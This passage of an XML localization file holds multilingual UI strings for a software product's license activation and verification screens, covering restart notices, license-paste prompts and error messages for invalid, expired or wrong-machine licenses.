<ja>無料の %WEBSVC.NAME 利用期間を申し込みます</ja>
<zh>我想免费订阅 %WEBSVC.NAME</zh>
<ko>무료 %WEBSVC.NAME 가입을 원합니다</ko>
<en-gb>I would like a free %WEBSVC.NAME subscription</en-gb>
<hu>Ingyenes %WEBSVC.NAME előfizetést szeretnék</hu>
<pt-br>Gostaria de obter uma versão de avaliação do %WEBSVC.NAME</pt-br>
<nl>Ik wil een gratis abonnement voor %WEBSVC.NAME</nl>
</msg>
</cat>
<msg name="RESTARTNOTE">
<en>Restarting %PRODUCTNAME might take as long as 30 seconds. After you click the
button, your browser might report that the page you're requesting is not available.
This is normal. Wait 30 seconds and click the Refresh button in your browser.</en>
<de>Der Neustart von %PRODUCTNAME kann bis zu 30 Sekunden dauern. Nachdem Sie auf die Schaltfläche klicken meldet Ihr Browser möglicherweise, dass die angeforderte Seite nicht verfügbar ist. Das ist absolut folgerichtig. Warten Sie etwa 30 Sekunden und klicken Sie dann auf die Schaltfläche "Aktualisieren" Ihres Browsers. Die Verbindung wird damit wieder hergestellt.</de>
<es>Reiniciar %PRODUCTNAME podría tardar hasta 30 segundos. Después de hacer clic en el
botón, su navegador podría indicarle que la página que busca no está disponible.
Es normal. Espere 30 segundos y hacer clic el botón de actualizar de su navegador.</es>
<fr>Le redémarrage de %PRODUCTNAME peut durer jusqu'à 30 secondes. Après que vous ayez cliqué le
bouton, votre navigateur peut vous signaler que la page que vous demandez n'est pas disponible.
Ceci est normal. Attendez 30 secondes et cliquez le bouton Actualiser de votre navigateur.</fr>
<it>Il riavvio di %PRODUCTNAME può richiedere al massimo 30 secondi. Dopo aver fatto clic sul pulsante, il browser potrebbe segnalare che la pagina richiesta non è disponibile. È normale; attendere 30 secondi e fare clic sul pulsante Aggiorna nel browser.</it>
<ru>Перезапуск %PRODUCTNAME может занять до 30 секунд. После нажатия этой кнопки обозреватель может сообщить, что запрашиваемая страница недоступна.
Это нормально. Подождите 30 секунд и щелкните в обозревателе кнопку "Обновить".</ru>
<ja>%PRODUCTNAME の再起動には 30 秒ほどかかります。ボタンをクリックした後ブラウザが、リクエストしているページが有効でないことをレポートする場合があります。これは正常です。30 秒待ってから、ブラウザの [更新] ボタンをクリックしてください。</ja>
<zh>重新启动 %PRODUCTNAME 最多可能需要 30 秒。单击此按钮后,浏览器可能报告您请求的页面不可用。这是正常的。等待 30 秒,并单击浏览器中的“刷新”按钮。</zh>
<ko>%PRODUCTNAME을(를) 다시 시작하는 데 30초의 시간이 걸릴 수 있습니다. 버튼을 클릭한 후 브라우저에 요청 중인 페이지를 사용할 수 없다는 메시지가 나타날 수 있습니다. 이것은 정상적인 현상입니다. 30초 동안 기다린 후 브라우저에서 새로 고침 버튼을 클릭하십시오.</ko>
<en-gb>Restarting %PRODUCTNAME might take as long as 30 seconds. After you click the button, your browser might report that the page you are requesting is not available.
This is normal. Wait 30 seconds and click the Refresh button in your browser.</en-gb>
<hu>A %PRODUCTNAME újraindítása mintegy 30 másodpercet vehet igénybe. Miután a 
gombra kattint, a böngésző azt jelezheti, hogy a kért oldal nem érhető el.
Ez nem jelent hibát. Várjon 30 másodpercet, majd kattintson a Frissítés gombra a böngészőben.</hu>
<pt-br>O reinício do %PRODUCTNAME pode levar até 30 segundos. Depois que você clicar no
botão, seu navegador poderá relatar que a página que está solicitando não está disponível.
Isso é normal. Aguarde 30 segundos e clique no botão Atualizar no navegador.</pt-br>
<nl>Het opnieuw starten van %PRODUCTNAME duurt mogelijk 30 seconden. Nadat u op de knop hebt geklikt, verschijnt in uw browser mogelijk de melding dat de pagina die u opvraagt niet beschikbaar is. Dat is normaal. Wacht 30 seconden en klik in uw browser op de knop "Vernieuwen".</nl>
</msg>
<!-- "paste license" screen messages -->
<cat name="PASTE">
<msg name="TITLE">
<en>Enter your license</en>
<de>Geben Sie die Lizenz ein</de>
<es>Introduzca su licencia</es>
<fr>Entrez votre licence</fr>
<it>Specifica licenza</it>
<ru>Введите свою лицензию</ru>
<ja>ライセンスを入力してください</ja>
<zh>输入您的许可证</zh>
<ko>라이센스 입력</ko>
<en-gb>Enter your licence</en-gb>
<hu>Adja meg a licenszét</hu>
<pt-br>Digite a licença</pt-br>
<nl>Uw licentie invoeren</nl>
</msg>
<msg name="TEXT">
<en>Please copy and paste the contents of your %PRODUCTNAME license file into
the space below and click Next:</en>
<de>Kopieren Sie den Inhalt der %PRODUCTNAME Lizenzdatei und fügen Sie ihn im
Bereich unten ein. Anschließend klicken Sie auf Weiter:</de>
<es>Copie y pegue el contenido de su archivo de licencia de %PRODUCTNAME en el
espacio provisto a continuación y haga clic en Siguiente:</es>
<fr>Veuillez svp copier/coller le contenu de votre fichier de licence de %PRODUCTNAME
dans la zone ci-dessous. Puis cliquez sur Suivant</fr>
<it>Copiare e incollare il contenuto del file di licenza di %PRODUCTNAME nello spazio sottostante e fare clic su Avanti:</it>
<ru>Скопируйте и вставьте содержимое своего файла лицензии на %PRODUCTNAME в представленное ниже поле и щелкните кнопку "Далее".</ru>
<ja>%PRODUCTNAME ライセンス ファイルの中身を下のスペースにコピーしペーストして、 [次へ] をクリックしてください :</ja>
<zh>请复制您的 %PRODUCTNAME 许可证文件的内容,并将其粘贴至以下空间,然后单击“下一步”:</zh>
<ko>%PRODUCTNAME 라이센스 파일 내용을 복사한 후 아래 영역에 붙여넣은 후 "다음"을 클릭하십시오.</ko>
<en-gb>Please copy and paste the contents of your %PRODUCTNAME licence file into the space below and click Next:</en-gb>
<hu>Kérjük, másolja és illessze be a %PRODUCTNAME licenszfájl tartalmát az
alábbi helyre, majd kattintson a Tovább gombra:</hu>
<pt-br>Copie e cole o conteúdo do arquivo de licença do %PRODUCTNAME no
espaço abaixo e clique em Avançar:</pt-br>
<nl>Kopieer en plak de inhoud van uw %PRODUCTNAME-licentiebestand in het onderstaande tekstvak en klik op "Volgende":</nl>
</msg>
<msg name="RETRY">
<en>Try again</en>
<de>Versuchen Sie es noch einmal</de>
<es>Inténtelo otra vez</es>
<fr>Essayez encore une fois</fr>
<it>Riprova</it>
<ru>Повторите попытку</ru>
<ja>再試行してください</ja>
<zh>重试</zh>
<ko>다시 시도</ko>
<en-gb>Try again</en-gb>
<hu>Próbálja meg újból</hu>
<pt-br>Tente novamente</pt-br>
<nl>Opnieuw proberen</nl>
</msg>
<msg name="OK">
<en>%PRODUCTNAME is activated.</en>
<de>%PRODUCTNAME ist aktiviert.</de>
<es>%PRODUCTNAME está activado.</es>
<fr>%PRODUCTNAME est activé.</fr>
<it>%PRODUCTNAME è attivato.</it>
<ru>%PRODUCTNAME активировано.</ru>
<ja>%PRODUCTNAME は起動しています。</ja>
<zh>%PRODUCTNAME 已激活。</zh>
<ko>%PRODUCTNAME이(가) 활성화되었습니다.</ko>
<en-gb>%PRODUCTNAME is activated.</en-gb>
<hu>A %PRODUCTNAME aktiválva van.</hu>
<pt-br>O %PRODUCTNAME está ativado.</pt-br>
<nl>%PRODUCTNAME is geactiveerd.</nl>
</msg>
</cat>
<!-- license verification errors -->
<cat name="ERROR">
<!-- %LINK contains the link to the distributor's website -->
<msg name="NONE">
<en>The license entered is valid.</en>
<de>Die übertragene Lizenz ist gültig und wird verwendet</de>
<es>La licencia introducida es válida.</es>
<fr>La licence entrée est valide.</fr>
<it>La licenza specificata è valida.</it>
<ru>Введенная лицензия является действительной.</ru>
<ja>入力したライセンスは有効です。</ja>
<zh>输入的许可证有效。</zh>
<ko>입력한 라이센스는 유효합니다.</ko>
<en-gb>The licence entered is valid.</en-gb>
<hu>A megadott licensz érvényes.</hu>
<pt-br>A licença digitada é válida.</pt-br>
<nl>De ingevoerde licentie is geldig.</nl>
</msg>
<msg name="UNKNOWN.FAILURE">
<en>Invalid license. Please visit %LINK to purchase a valid license.</en>
<de>Die Lizenz ist ungültig. Bitte suchen Sie %LINK auf, um eine gültige Lizenz zu erwerben.</de>
<es>Licencia no válida. Visite %LINK para adquirir una nueva licencia.</es>
<fr>Licence non valide. Allez sur le lien %LINK  pour acquérir une licence valide.</fr>
<it>Licenza non valida. Visitare il sito %LINK per acquistare una licenza valida.</it>
<ru>Недействительная лицензия. Перейдите по ссылке %LINK, чтобы приобрести действующую лицензию.</ru>
<ja>無効なライセンスです。%LINK で、有効なライセンスを購入してください。</ja>
<zh>无效许可证。请访问 %LINK 以购买有效许可证。</zh>
<ko>라이센스가 유효하지 않습니다. %LINK을(를) 방문하여 유효한 라이센스를 구입하십시오.</ko>
<en-gb>Invalid licence. Please visit %LINK to purchase a valid licence.</en-gb>
<hu>Érvénytelen licensz. Kérjük, látogasson el a %LINK címre, és vásároljon egy érvényes licenszet.</hu>
<pt-br>Licença inválida. Visite o %LINK para adquirir uma licença válida.</pt-br>
<nl>Ongeldige licentie. Ga naar %LINK om een geldige licentie te kopen.</nl>
</msg>
<msg name="NOT.FOUND">
<en>License is not found. Your license was emailed to you when you
purchased %PRODUCTNAME. The license can be copied and pasted into the window
below. If you do not yet have a license, please visit %LINK to purchase
or demo the product.</en>
<de>Es konnte keine Lizenz gefunden werden. Sie haben die Lizenzdatei
beim Erwerb von %PRODUCTNAME erhalten. Wenn Sie noch keine haben, suchen
Sie %LINK auf, um eine zu kaufen oder eine Evaluierungslizenz anzufordern.</de>
<es>No se ha encontrado la licencia. La licencia le fue enviada por correo electrónico
cuando compró %PRODUCTNAME. Puede copiar y pegar la licencia en la siguiente
ventana. Si todavía no tiene una licencia, visite %LINK para adquirirla o
pruebe el producto.</es>
<fr>La licence n'a pas été trouvée. Votre licence vous a été envoyée ar email lorsque vous
avez acheté %PRODUCTNAME. Cette licence peut être copiée/collée dans
la fenêtre ci-dessous. Si vous n'avez pas encore de licence, visitez svp %LINK
pour en acheter une ou obtenir une version de démonstration.</fr>
<it>Licenza non trovata. La licenza è stata inviata via e-mail al momento dell'acquisto di %PRODUCTNAME. È possibile copiare e incollare la licenza nella finestra riportata di seguito. Se non si dispone ancora di una licenza, visitare il sito %LINK per acquistare il prodotto o visualizzarne una dimostrazione.</it>
<ru>Лицензия не найдена. Лицензия отправляется пользователю по электронной почте при приобретении приложения %PRODUCTNAME. Эту лицензию можно скопировать и вставить в расположенное ниже окно. При отсутствии лицензии перейдите по ссылке %LINK, чтобы приобрести лицензию или получить демонстрационную версию продукта.</ru>
<ja>ライセンスが見つかりません。ライセンスは、%PRODUCTNAME の購入時に電子メールでお届けしています。ライセンスは、次の画面にコピーしペーストできます。まだライセンスをお持ちでない場合は、%LINK で製品を購入または試用版を入手することがができます。</ja>
<zh>未找到许可证。在购买 %PRODUCTNAME 后,会将许可证发送至您的电子邮箱。可以复制许可证并将其粘贴至以下窗口中。如果仍没有许可证,请访问 %LINK 以购买或演示此产品。</zh>
<ko>라이센스를 찾을 수 없습니다. %PRODUCTNAME을(를) 구입했을 때 라이센스를 전자 메일로 보냈습니다. 라이센스를 복사한 후 아래 창에 붙여넣을 수 있습니다. 라이센스가 아직 없는 경우 %LINK을(를) 방문하여 제품을 구입하거나 데모 버전을 다운로드하십시오.</ko>
<en-gb>Licence not found. Your licence was emailed to you when you purchased %PRODUCTNAME. The licence can be copied and pasted into the window below. If you do not yet have a licence, please visit %LINK to purchase or demo the product.</en-gb>
<hu>A licensz nem található. Az Ön liceszcét e-mailben küldték el, amikor
megvásárolta a %PRODUCTNAME terméket. A licenszet át lehet másolni és be lehet illeszteni az alábbi
ablakba. Ha még nem rendelkezik licenszcel, látogasson el a %LINK címre, hogy megvásárolja, vagy 
használja demó módban a terméket</hu>
<pt-br>Licença não encontrada. Sua licença foi enviada a você por email quando você
adquiriu o %PRODUCTNAME. A licença pode ser copiada e colada na janela
abaixo. Se você não tiver uma licença, visite o %LINK para adquirir
ou obter a versão de demonstração do produto.</pt-br>
<nl>De licentie kon niet worden gevonden. Uw licentie werd via e-mail naar u verzonden toen u %PRODUCTNAME hebt gekocht. U kunt deze licentie kopiëren en in het onderstaande venster plakken. Als u nog geen licentie hebt, gaat u naar %LINK om het product te kopen of een demoversie aan te vragen.</nl>
</msg>
<msg name="BAD.SIGNATURE">
<en>The digital signature could not be verified on the license.
Please make sure that you have copied and pasted the license file exactly
as you have received it. You can visit %LINK to obtain a valid license to
use the product.</en>
<de>Die digitale Signatur konnte die Gültigkeit der Lizenz nicht bestätigen. Bitte
stellen Sie sicher, dass Sie den gesamten Inhalt der Lizenzdatei 
in das angebotene Feld kopiert haben. Sie können %LINK aufsuchen, um eine gültige Lizenz zu erhalten.</de>
<es>No pudo verificarse la firma digital de la licencia.
Asegúrese de haber copiado y pegado el archivo de licencia exactamente
como la recibió. Puede visitar %LINK para obtener una licencia válida para
utilizar el producto.</es>
<fr>La signature numérique n'a pas pu être vérifiée sur la license.
Veuillez vous assurer que vous avez copié et collé correctement la licence reçue.
Vous pouvez visiter %LINK pour obtenir une licence valide du produit.</fr>
<it>Non è stato possibile verificare la firma digitale nella licenza.
Assicurarsi di aver copiato e incollato il file di licenza esattamente come è stato ricevuto. Per ottenere una licenza valida per l'uso del prodotto, è possibile visitare il sito %LINK.</it>
<ru>Не удалось проверить цифровую подпись лицензии.
Убедитесь, что содержимое файла лицензии было скопировано и вставлено точно в таком виде, в каком оно было получено. Можно перейти по ссылке %LINK, чтобы получить действующую лицензию на использование данного продукта.</ru>
<ja>このライセンスにデジタル署名が確認されませんでした。コピーしペーストしたライセンス ファイルが、受け取ったものと全く同じかどうか、確認してください。%LINK で、製品を使用するための有効なライセンスを取得できます。</ja>
<zh>许可证上无法验证数字签名。请确保收到许可证文件时,已正确复制并粘贴它。您可以访问 %LINK 以获取使用此产品的有效许可证。</zh>
<ko>전자 서명을 라이센스에서 확인할 수 없습니다. 수신한 라이센스 파일을 복사한 후 붙여넣으십시오. %LINK을(를) 방문하여 제품 사용에 필요한 라이센스를 얻을 수 있습니다.</ko>
<en-gb>The digital signature could not be verified on the licence.
Please make sure that you have copied and pasted the licence file exactly as you have received it. You can visit %LINK to obtain a valid licence to use the product.</en-gb>
<hu>A digitális aláírást nem lehetett ellenőrizni a licenszen.
Kérjük, ellenőrizze, hogy pontosan úgy másolta-e be a licenszfájlt, 
ahogyan azt megkapta. Ellátogathat a %LINK címre, érvényes licensz beszerzéséhez,
a termék használatához.</hu>
<pt-br>Não foi possível verificar a assinatura digital da licença.
Assegure-se de que tenha copiado e colado o arquivo de licença exatamente
como o recebeu. Você pode visitar o %LINK para obter uma licença válida para
usar o produto.</pt-br>
<nl>De digitale handtekening in de licentie kon niet worden geverifieerd. Controleer of u de inhoud van het licentiebestand nauwkeurig hebt gekopieerd en geplakt zoals u het hebt ontvangen. U kunt naar %LINK gaan en een geldige licentie aanvragen om dit product te kunnen gebruiken.</nl>
</msg>
<msg name="BAD.SIGNATURE.REPORT">
<en>If you feel that this message is in error, please contact technical support and 
give them the error message as it appears below.</en>
<de>Wenn Sie der Meinung sind, dass diese Meldung fehlerhaft ist, kontaktieren
Sie den technischen Support und übersenden Sie diese Fehlermeldung.</de>
<es>Si cree que este mensaje es un error, póngase en contacto con la asistencia técnica y
facilíteles el mensaje de error tal y como aparece a continuación.</es>
<fr>Si vous pensez que ce message est du à une erreur, contactez svp le support  technique et
indiquez leur le message d'erreur tel qu'il apparaît ci-dessous.</fr>
<it>Se si ritiene che questo messaggio sia errato, contattare il supporto tecnico indicando il messaggio di errore visualizzato di seguito.</it>
<ru>Если данное сообщение является ошибочным, то обратитесь в службу технической поддержки и предоставьте им содержимое этого сообщения об ошибке.</ru>
<ja>このメッセージがエラーの可能性がある場合は、テクニカル サポートに連絡し、以下に表示されたエラー メッセージを伝えてください。</ja>
<zh>如果您认为此消息出错,请与技术支持联系并提供此错误消息,如下所示。</zh>
<ko>메시지에 오류가 있는 것으로 생각되면 기술 지원부에 문의하여 표시된 오류 메시지를 전달하십시오.</ko>
<en-gb>If you feel that this message is in error, please contact technical support and give them the error message as it appears below.</en-gb>
<hu>Amennyiben úgy gondolja, hogy ezt az üzenetet tévesen kapta, kérjük, lépjen kapcsolatba a műszaki támogatással és  
adja meg nekik a hibaüzenetet, úgy, ahogy az alább megjelenik.</hu>
<pt-br>Se achar que esta mensagem é um engano, entre em contato com o suporte técnico e
Forneça a mensagem de erro exibida abaixo.</pt-br>
<nl>Als u denkt dat dit een vergissing is, neemt u contact op met de afdeling Technische support en geeft u de foutmelding door die hieronder is weergegeven.</nl>
</msg>
<msg name="BETA.EXPIRED">
<en>This is a beta license that is not valid for this version.
Please visit %LINK to purchase or demo the product.</en>
<de>Diese Lizenz ist nur für die Vorschauversion von %PRODUCTNAME gültig. 
Bitte suchen Sie %LINK auf, um eine
Evaluierungslizenz zu erhalten oder eine gültige Lizenz zu erwerben.</de>
<es>Esta es una licencia beta que no es válida para esta versión.
Visite %LINK para adquirir o probar el producto.</es>
<fr>Ceci est une licence de démonstration qui n'est pas valide pour cette version.
Veuillez visiter %LINK pour acheter une licence valide ou optenir une version démo du produit.</fr>
<it>Questa è una licenza beta non valida per la versione corrente.
Visitare il sito %LINK per acquistare il prodotto o visualizzarne una dimostrazione.</it>
<ru>Это лицензия для бета-версии, которая не является действительной для данной версии.
Перейдите по ссылке %LINK, чтобы приобрести действующую лицензию или демонстрационную версию продукта.</ru>
<ja>これは、当バージョンには無効なベータ ライセンスです。%LINK にアクセスして、製品を購入するか、製品のデモをご覧ください。</ja>
<zh>此许可证为测试许可证,对于此版本无效。请访问 %LINK 以购买或演示此产品。</zh>
<ko>이 버전에 대해 유효하지 않은 베타 라이센스입니다. %LINK을(를) 방문하여 제품을 구입하거나 데모 버전을 다운로드하십시오.</ko>
<en-gb>This is a beta licence that is not valid for this version.
Please visit %LINK to purchase or demo the product.</en-gb>
<hu>Ez egy béta licensz, amely érvényes ehhez a verzióhoz.
Kérjük, látogasson el a %LINK címre a vásárláshoz, vagy használja demó módban a terméket.</hu>
<pt-br>Esta é uma licença beta inválida para esta versão.
Visite %LINK para adquirir o produto ou obter uma versão de demonstração.</pt-br>
<nl>Dit is een bètalicentie die niet geldig is voor deze versie. Ga naar %LINK om het product te kopen of een demoversie aan te vragen.</nl>
</msg>
<msg name="INVALID.VERSION">
<en>This license is not valid for this version of %PRODUCTNAME.
Please visit %LINK to purchase an upgrade to use version %PRODUCTMAJORVER.</en>
<de>Diese Lizenz berechtigt Sie nicht zur Nutzung dieser Version von %PRODUCTNAME.
Bitte suchen Sie %LINK auf, um eine Aktualisierungsberechtigung für Version %PRODUCTMAJORVER zu erwerben.</de>
<es>Esta licencia no es válida para esta versión de %PRODUCTNAME.
Visite %LINK para adquirir la actualización para utilizar la versión %PRODUCTMAJORVER.</es>
<fr>Cette licence n'est pas valide pour cette version de %PRODUCTNAME.
Veuillez visiter %LINK pour acheter une mise à jour afin  de pouvoir utiliser la version %PRODUCTMAJORVER.</fr>
<it>Questa licenza non è valida per la versione corrente di %PRODUCTNAME.
Visitare il sito %LINK per acquistare un aggiornamento per l'uso della versione %PRODUCTMAJORVER.</it>
<ru>Эта лицензия не является действительной для данной версии %PRODUCTNAME.
Перейдите по ссылке %LINK, чтобы приобрести обновленную лицензию на использование версии %PRODUCTMAJORVER.</ru>
<ja>このライセンスは、%PRODUCTNAME の当バージョンでは有効ではありません。バージョン %PRODUCTMAJORVER を使用する場合は、%LINK でアップグレードを購入してください。</ja>
<zh>此许可证对于此版本 %PRODUCTNAME 无效。请访问 %LINK,购买升级以使用版本 %PRODUCTMAJORVER。</zh>
<ko>이 라이센스는 현재 %PRODUCTNAME 버전에 대해 유효하지 않습니다. %PRODUCTMAJORVER 버전을 사용하려면 %LINK을(를) 방문하여 업그레이드 제품을 구입하십시오.</ko>
<en-gb>This licence is not valid for this version of %PRODUCTNAME.
Please visit %LINK to purchase an upgrade to use version %PRODUCTMAJORVER.</en-gb>
<hu>A licensz nem érvényes a %PRODUCTNAME ezen verziójához.
Kérjük, látogasson el a %LINK címre egy frissítés megvásárlásához, hogy a %PRODUCTMAJORVER verziót használhassa.</hu>
<pt-br>Esta licença não é válida para esta versão do %PRODUCTNAME.
Visite %LINK para adquirir uma atualização para usar a versão %PRODUCTMAJORVER.</pt-br>
<nl>Deze licentie is niet geldig voor deze versie van %PRODUCTNAME. Ga naar %LINK om een upgrade te kopen voor het gebruik van versie %PRODUCTMAJORVER.</nl>
</msg>
<msg name="INVALID.PRODUCT">
<en>This is not a %PRODUCTNAME license file. Please visit %LINK to purchase
a %PRODUCTNAME license.</en>
<de>Die übergebene Information ist keine gültige Lizenz für %PRODUCTNAME.
Bitte suchen Sie %LINK auf, um eine gültige %PRODUCTNAME
Lizenz zu erwerben.</de>
<es>Éste no es un archivo de licencia para %PRODUCTNAME. Visite %LINK para comprar
una licencia de %PRODUCTNAME.</es>
<fr>Ceci n'est pas un fichier de licence de %PRODUCTNAME. Veuillez visiter
%LINK pour acheter une licence de %PRODUCTNAME.</fr>
<it>Questo non è un file di licenza di %PRODUCTNAME. Visitare il sito %LINK per acquistare una licenza di %PRODUCTNAME.</it>
<ru>Этот файл не является файлом лицензии на %PRODUCTNAME. Перейдите по ссылке %LINK, чтобы приобрести лицензию на %PRODUCTNAME.</ru>
<ja>これは、%PRODUCTNAME ライセンス ファイルではありません。%LINK で、%PRODUCTNAME ライセンスを購入してください。</ja>
<zh>这不是 %PRODUCTNAME 许可证文件。请访问 %LINK 以购买 %PRODUCTNAME 许可证。</zh>
<ko>이것은 %PRODUCTNAME 라이센스 파일이 아닙니다. %LINK을(를) 방문하여 %PRODUCTNAME 라이센스를 구입하십시오.</ko>
<en-gb>This is not a %PRODUCTNAME licence file. Please visit %LINK to purchase a %PRODUCTNAME licence.</en-gb>
<hu>Ez nem %PRODUCTNAME licenszfájl. Kérjük, látogasson el a %LINK címre, hogy megvásárolja a(z)
%PRODUCTNAME licenszet.</hu>
<pt-br>Este não é um arquivo de licença do %PRODUCTNAME. Visite %LINK para adquirir
uma licença do %PRODUCTNAME.</pt-br>
<nl>Dit is geen %PRODUCTNAME-licentiebestand. Ga naar %LINK om een %PRODUCTNAME-licentie te kopen.</nl>
</msg>
<msg name="WORKSTATION.ONLY">
<en>This license cannot be used on server operating systems. Please visit 
%LINK to obtain a license for %PRODUCTNAME Server Edition.</en>
<de>Diese Lizenz berechtigt nicht zum Einsatz von %PRODUCTNAME auf Serverbetriebssystemen. 
Bitte suchen Sie %LINK auf, um eine Lizenz für %PRODUCTNAME Server Edition zu erwerben.</de>
<es>Esta licencia no puede ser utilizada en sistemas que funcionen como servidor. Visite
%LINK para obtener una licencia para %PRODUCTNAME Server Edition.</es>
<fr>Cette licence ne peut pas être utiliseé sur un système d'exploitation serveur. Veuillez visiter
%LINK pour obtenir une licence édition serveur de %PRODUCTNAME.</fr>
<it>Questa licenza non può essere utilizzata in sistemi operativi server. Visitare il sito %LINK per ottenere una licenza per %PRODUCTNAME Server Edition.</it>
<ru>Эта лицензия не может использоваться в операционных системах серверов. Перейдите по ссылке %LINK, чтобы приобрести лицензию на %PRODUCTNAME Server Edition.</ru>
<ja>このライセンスはサーバー オペレーティング システムでは使用できません。%LINK で、%PRODUCTNAME サーバー エディションのライセンスを取得してください。</ja>
<zh>此许可证无法用于服务器操作系统。请访问 %LINK 以获取 %PRODUCTNAME 服务器版的许可证。</zh>
<ko>이 라이센스를 서버 운영 체제에서 사용할 수 없습니다. %LINK을(를) 방문하여 %PRODUCTNAME Server Edition 라이센스를 얻으십시오.</ko>
<en-gb>This licence cannot be used on server operating systems. Please visit %LINK to obtain a licence for %PRODUCTNAME Server Edition.</en-gb>
<hu>Ezt a licenszet nem lehet használni a kiszolgálói operációs rendszereken. Kérjük, látogasson el a 
%LINK címre, a %PRODUCTNAME Server Edition licensz beszerzéséhez.</hu>
<pt-br>Esta licença não pode ser usada em sistemas operacionais do servidor. Visite
%LINK para obter uma licença para o %PRODUCTNAME Server Edition.</pt-br>
<nl>Deze licentie kan niet worden gebruikt met serverbesturingssystemen. Ga naar %LINK om een licentie voor %PRODUCTNAME Server Edition te verkrijgen.</nl>
</msg>
<msg name="TRIAL.EXPIRED">
<en>Your trial license for %PRODUCTNAME has expired. Please visit
%LINK to purchase the product.</en>
<de>Ihre Evaluierungslizenz für %PRODUCTNAME ist abgelaufen.
Bitte suchen Sie %LINK auf, um eine gültige Lizenz zu
erwerben.</de>
<es>Su licencia de prueba para %PRODUCTNAME ha caducado. Visite
%LINK para comprar el producto.</es>
<fr>Votre licence de démonstration pour %PRODUCTNAME a expirée. Veuillez svp visiter
%LINK pour acheter une licence du produit.</fr>
<it>La licenza di valutazione per %PRODUCTNAME è scaduta. Visitare il sito %LINK per acquistare il prodotto.</it>
<ru>Истек срок действия пробной лицензии на %PRODUCTNAME. Перейдите по ссылке %LINK, чтобы приобрести данный продукт.</ru>
<ja>%PRODUCTNAME 試用版ライセンスの有効期限が切れています。%LINK にアクセスして、製品を購入してください。</ja>
<zh>您的 %PRODUCTNAME 试用版许可证已过期。请访问 %LINK 以购买此产品。</zh>
<ko>%PRODUCTNAME 평가 라이센스가 만료되었습니다. %LINK을(를) 방문하여 제품을 구입하십시오.</ko>
<en-gb>Your trial licence for %PRODUCTNAME has expired. Please visit %LINK to purchase the product.</en-gb>
<hu>Az Ön próbaverziós licensze a %PRODUCTNAME termékhez lejárt. Kérjük, látogasson el a
%LINK címre a termék megvásárlásához.</hu>
<pt-br>Sua licença de avaliação do %PRODUCTNAME expirou. Visite
%LINK para adquirir o produto.</pt-br>
<nl>De proefperiode van uw licentie voor %PRODUCTNAME is verstreken. Ga naar %LINK om het product te kopen.</nl>
</msg>
<msg name="WRONG.NODE">
<en>The name of this computer does not match the one given in this
node-locked license. Please make sure that you are running %PRODUCTNAME
on the computer for which the license was purchased, or visit
%LINK to purchase additional licenses.</en>
<de>Der Name dieses Computers entspricht nicht
dem Namen, der in Ihrer "node-locked"-Lizenz eingetragen ist.
Bitte stellen Sie sicher, dass %PRODUCTNAME nur auf dem Computer ausgeführt wird, für den
Sie diese Lizenz erworben haben, oder besuchen Sie %LINK, um zusätzliche Lizenzen zu kaufen.</de>
<es>El nombre de este ordenador no es el mismo que el que aparece en esta
licencia única. Asegúrese de que está ejecutando %PRODUCTNAME
en el ordenador para el que se adquirió la licencia o visite
%LINK para comprar licencias adicionales.</es>
<fr>Le nom de cet ordinateur ne correspond pas à celui indiqué dans
la licence "node-locked". Veuillez vous assurer que vous utilisez %PRODUCTNAME
sur l'ordinateur pour lequel la licence a été achetée, ou visitez %LINK
pour optenir des licences additionnels.</fr>
<it>Il nome del computer non corrisponde a quello fornito in questa licenza con blocco del nodo. Verificare che %PRODUCTNAME sia in esecuzione sul computer per il quale è stata acquistata la licenza oppure visitare il sito %LINK per acquistare ulteriori licenze.</it>
<ru>Имя этого компьютера не соответствует имени, указанному в данной фиксированной лицензии. Проверьте, что программа %PRODUCTNAME запущена на компьютере, для которого была приобретена данная лицензия, или перейдите по ссылке %LINK, чтобы приобрести дополнительные лицензии.</ru>
<ja>このコンピュータの名前が、ノード ロック ライセンスに付与された名前と一致しません。現在 %PRODUCTNAME を実行しようとしているコンピュータに対してライセンスを購入しているかを確認し、そうでない場合は %LINK で追加ライセンスを購入してください。</ja>
<zh>此计算机名称与此节点锁定许可证中给出的计算机名称不匹配。请确保您在购买了许可证的计算机上运行 %PRODUCTNAME,或者访问 %LINK,购买额外的许可证。</zh>
<ko>컴퓨터 이름이 노드 잠금 라이센스에서 지정된 이름과 일치하지 않습니다. 라이센스를 구입한 컴퓨터에서 %PRODUCTNAME을(를) 실행 중인지 확인한 후 %LINK을(를) 방문하여 추가 라이센스를 구입하십시오.</ko>
<en-gb>The name of this computer does not match the one given in this node-locked licence. Please make sure that you are running %PRODUCTNAME on the computer for which the licence was purchased or visit %LINK to purchase additional licences.</en-gb>
<hu>A számítógép neve nem egyezik a jelen, csomóponthoz 
kötött licensszel. Kérjük, győződjön meg róla, hogy a %PRODUCTNAME terméket
azon a számítógépen futtatja, amelyre a licenszet megvásárolták, vagy látogasson el
a %LINK címre további licenszek vásárlásához.</hu>
<pt-br>O nome deste computador não corresponde ao fornecido nesta
licença de nó bloqueado. Assegure-se de que o %PRODUCTNAME esteja sendo executado
no computador para o qual a licença foi adquirido ou visite
%LINK para adquirir outras licenças.</pt-br>
<nl>De naam van deze computer komt niet overeen met de naam die is opgegeven voor deze licentie die gekoppeld is aan slechts één node. Controleer of u %PRODUCTNAME  gebruikt op de computer waarvoor de licentie is gekocht of ga naar %LINK om aanvullende licenties te kopen.</nl>
</msg>
<msg name="INVALID.HOSTID">
<en>This license was issued for another computer and cannot be used on this one.
It is also possible that the hardware configuration of the computer has changed
since the license was issued. In this case, please request a new trial license
or visit %LINK for a replacement.</en>
<de>Die Lizenz wurde für einen anderen Computer ausgestellt und kann nicht
verwendet werden. Es ist auch möglich, dass sich die Hardwarekonfiguration
des Computers seit der Ausstellung der Lizenz geändert hat. In diesem Fall
fordern Sie bitte einen neue Demolizenz an, oder Sie besuchen %LINK, um die
Lizenz auszutauschen.</de>
<es>Esta licencia se emitió para otro ordenador y no puede utilizarse en éste.
También es posible que la configuración del hardware del ordenador haya cambiado
desde que se emitió la licencia. En este caso, pida una nueva licencia de prueba
o visite %LINK para una sustitución.</es>
<fr>Cette licence à été générée pour un autre ordinateur et ne peut pas être utilisée sur celui-ci.
Il est également possible que la configuration matériel de l'ordinateur ait changé
depuis que la licence a été émise. Dans ce cas, demandez svp une nouvelle licence
de démonstration ou visitez %LINK pour une demande de remplacement.</fr>
<it>Questa licenza è stata rilasciata per un altro computer e non può essere utilizzata sul computer corrente.
È inoltre possibile che la configurazione hardware del computer sia stata modificata dopo il rilascio della licenza. In questo caso, richiedere una nuova licenza di valutazione oppure visitare il sito %LINK per richiederne la sostituzione.</it>
